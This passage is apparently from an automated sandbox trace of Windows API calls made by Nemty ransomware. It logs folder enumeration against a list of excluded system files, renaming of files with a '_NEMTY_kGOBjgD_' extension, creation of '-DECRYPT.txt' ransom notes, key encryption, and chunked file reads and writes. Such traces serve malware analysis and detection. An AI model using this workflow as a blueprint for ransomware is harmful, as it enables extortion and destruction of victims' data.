nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.919] CloseHandle (hObject=0xffffffff) returned 0 [0052.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94350 [0052.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0052.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0052.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340338 [0052.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x63403b0 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0052.920] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png._nemty_kgobjgd_")) returned 0 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94350 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.920] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2=".") returned 1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="..") returned 1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="...") returned 1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="windows") returned -1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="$RECYCLE.BIN") returned 1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="rsa") returned -1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="NTDETECT.COM") returned -1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="ntldr") returned -1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="MSDOS.SYS") returned -1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="IO.SYS") returned -1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="boot.ini") returned 1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="boot.ini") returned 1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="AUTOEXEC.BAT") returned 1 [0052.920] lstrcmpiW (lpString1="DvdStyles", lpString2="ntuser.dat") returned -1 [0052.921] lstrcmpiW (lpString1="DvdStyles", lpString2="desktop.ini") returned 1 [0052.921] lstrcmpiW (lpString1="DvdStyles", lpString2="CONFIG.SYS") returned 1 [0052.921] lstrcmpiW (lpString1="DvdStyles", lpString2="RECYCLER") returned -1 [0052.921] lstrcmpiW (lpString1="DvdStyles", lpString2="BOOTSECT.BAK") returned 1 [0052.921] lstrcmpiW (lpString1="DvdStyles", lpString2="bootmgr") returned 1 [0052.921] lstrcmpiW (lpString1="DvdStyles", lpString2="programdata") returned -1 [0052.921] lstrcmpiW (lpString1="DvdStyles", lpString2="appdata") returned 1 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdStyles", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdStyles", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DvdStyles", lpUsedDefaultChar=0x0) returned 9 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdStyles", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0052.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdStyles", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DvdStyles", lpUsedDefaultChar=0x0) returned 9 [0052.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0052.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0052.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0052.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0052.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0052.921] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0052.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0052.925] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.925] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0052.926] CloseHandle (hObject=0x3c8) returned 1 [0052.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0052.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0052.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0052.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0052.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0052.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0052.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0052.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0052.926] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0052.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0052.927] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.927] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0052.928] CloseHandle (hObject=0x3c8) returned 1 [0052.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0052.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0052.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd32f7cb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd32f7cb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0052.929] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0052.929] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd32f7cb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd32f7cb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0052.930] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0052.930] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0052.930] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".") returned 1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="..") returned 1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="...") returned 1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="windows") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="rsa") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="NTDETECT.COM") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="ntldr") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="MSDOS.SYS") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="IO.SYS") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="boot.ini") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="boot.ini") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="AUTOEXEC.BAT") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="ntuser.dat") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="desktop.ini") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="CONFIG.SYS") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="RECYCLER") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="BOOTSECT.BAK") returned -1 [0052.930] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="bootmgr") returned -1 [0052.931] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="programdata") returned -1 [0052.931] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="appdata") returned -1 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0052.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 34 [0052.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94228 [0052.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 34 [0052.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0052.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0052.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 34 [0052.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0052.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0052.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16to9Squareframe_Buttongraphic.png", cchWideChar=34, lpMultiByteStr=0x6345640, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16to9Squareframe_Buttongraphic.png", lpUsedDefaultChar=0x0) returned 34 [0052.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94228 [0052.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0052.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d0 [0052.931] Sleep (dwMilliseconds=0x5) [0052.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd3343f70, dwHighDateTime=0x1d561e7)) [0052.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd3343f70, dwHighDateTime=0x1d561e7)) [0052.944] GetLastError () returned 0xb7 [0052.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0052.944] GetLastError () returned 0xb7 [0052.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0052.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.944] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0052.944] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0052.945] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0052.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0052.945] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="nKCJurKZbO9ncfGRKzd7gbD+o3Xsd7kNxLlV5/9tvWF4dsm4ZM+W4iOrThDxQ3dt\r\nWAd5WNDv8AQfhNzIl2mQ6q/Kv4aj/JgbGBvXbtVInIft0sbr5Jt9MQxmE7S9awbW\r\n954cbvccr+MSOd15OUSJgPc6Zmzc3WexKqORto+wjZf/m56YFGaBS6lAxE/CN898\r\nQM3vMDD0/y4Te822ClB/oa7ArMEIE9KakwwgqBC5VcJlzhZ32slm9oBu2uE1iwex\r\nJcwTRGc+LKlZSZxJ7zY6rFSP/TWaJ5/2jeryz0md2shfXRoR6jN6gdeKvZVZmq2t\r\na+yRNmNYB2YC0Ns7cneUuQ==\r\n", pcchString=0x653ec5c) returned 1 [0052.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0052.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0052.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0052.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0052.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0052.945] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.946] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0052.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0052.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0052.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0052.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 